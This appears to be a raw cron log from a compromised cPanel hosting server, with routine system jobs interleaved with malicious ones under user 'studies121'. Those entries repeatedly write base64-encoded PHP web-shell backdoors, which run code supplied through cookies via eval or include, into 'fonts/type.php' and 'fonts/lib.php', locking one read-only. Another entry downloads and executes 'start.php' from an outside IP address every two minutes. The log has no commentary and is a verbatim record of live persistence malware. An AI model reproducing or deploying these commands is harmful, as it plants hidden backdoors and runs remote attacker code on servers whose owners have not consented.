Sep 11 16:01:01 ip-184-168-122-23 CROND[30312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:01:01 ip-184-168-122-23 CROND[30314]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 16:01:01 ip-184-168-122-23 CROND[30315]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:01:01 ip-184-168-122-23 CROND[30313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:01:01 ip-184-168-122-23 CROND[30316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30314]: starting 0anacron
Sep 11 16:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30331]: finished 0anacron
Sep 11 16:02:01 ip-184-168-122-23 CROND[30437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:02:01 ip-184-168-122-23 CROND[30438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:02:01 ip-184-168-122-23 CROND[30443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:02:01 ip-184-168-122-23 CROND[30441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:02:01 ip-184-168-122-23 CROND[30444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:03:01 ip-184-168-122-23 CROND[30527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:03:01 ip-184-168-122-23 CROND[30526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:03:01 ip-184-168-122-23 CROND[30528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:03:01 ip-184-168-122-23 CROND[30529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:04:01 ip-184-168-122-23 CROND[30609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:04:01 ip-184-168-122-23 CROND[30611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:04:01 ip-184-168-122-23 CROND[30612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:04:01 ip-184-168-122-23 CROND[30613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:04:01 ip-184-168-122-23 CROND[30614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:05:01 ip-184-168-122-23 CROND[30801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:05:01 ip-184-168-122-23 CROND[30803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:05:01 ip-184-168-122-23 CROND[30809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:05:01 ip-184-168-122-23 CROND[30808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:05:01 ip-184-168-122-23 CROND[30806]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:05:01 ip-184-168-122-23 CROND[30807]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:05:01 ip-184-168-122-23 CROND[30810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:06:01 ip-184-168-122-23 CROND[30909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:06:01 ip-184-168-122-23 CROND[30913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:06:01 ip-184-168-122-23 CROND[30912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:06:01 ip-184-168-122-23 CROND[30911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:06:01 ip-184-168-122-23 CROND[30914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:07:01 ip-184-168-122-23 CROND[31014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:07:01 ip-184-168-122-23 CROND[31015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:07:01 ip-184-168-122-23 CROND[31016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:07:01 ip-184-168-122-23 CROND[31017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:08:01 ip-184-168-122-23 CROND[31112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:08:01 ip-184-168-122-23 CROND[31115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:08:01 ip-184-168-122-23 CROND[31117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:08:01 ip-184-168-122-23 CROND[31116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:08:01 ip-184-168-122-23 CROND[31114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:09:01 ip-184-168-122-23 CROND[31234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:09:01 ip-184-168-122-23 CROND[31233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:09:01 ip-184-168-122-23 CROND[31235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:09:01 ip-184-168-122-23 CROND[31237]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 16:09:01 ip-184-168-122-23 CROND[31236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:10:01 ip-184-168-122-23 CROND[31433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:10:01 ip-184-168-122-23 CROND[31437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:10:01 ip-184-168-122-23 CROND[31439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:10:01 ip-184-168-122-23 CROND[31435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:10:01 ip-184-168-122-23 CROND[31434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:10:01 ip-184-168-122-23 CROND[31438]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:10:01 ip-184-168-122-23 CROND[31436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:10:01 ip-184-168-122-23 CROND[31441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:11:01 ip-184-168-122-23 CROND[31544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:11:01 ip-184-168-122-23 CROND[31545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:11:01 ip-184-168-122-23 CROND[31547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:11:01 ip-184-168-122-23 CROND[31546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:12:01 ip-184-168-122-23 CROND[31640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:12:01 ip-184-168-122-23 CROND[31641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:12:01 ip-184-168-122-23 CROND[31645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:12:01 ip-184-168-122-23 CROND[31646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:12:01 ip-184-168-122-23 CROND[31647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
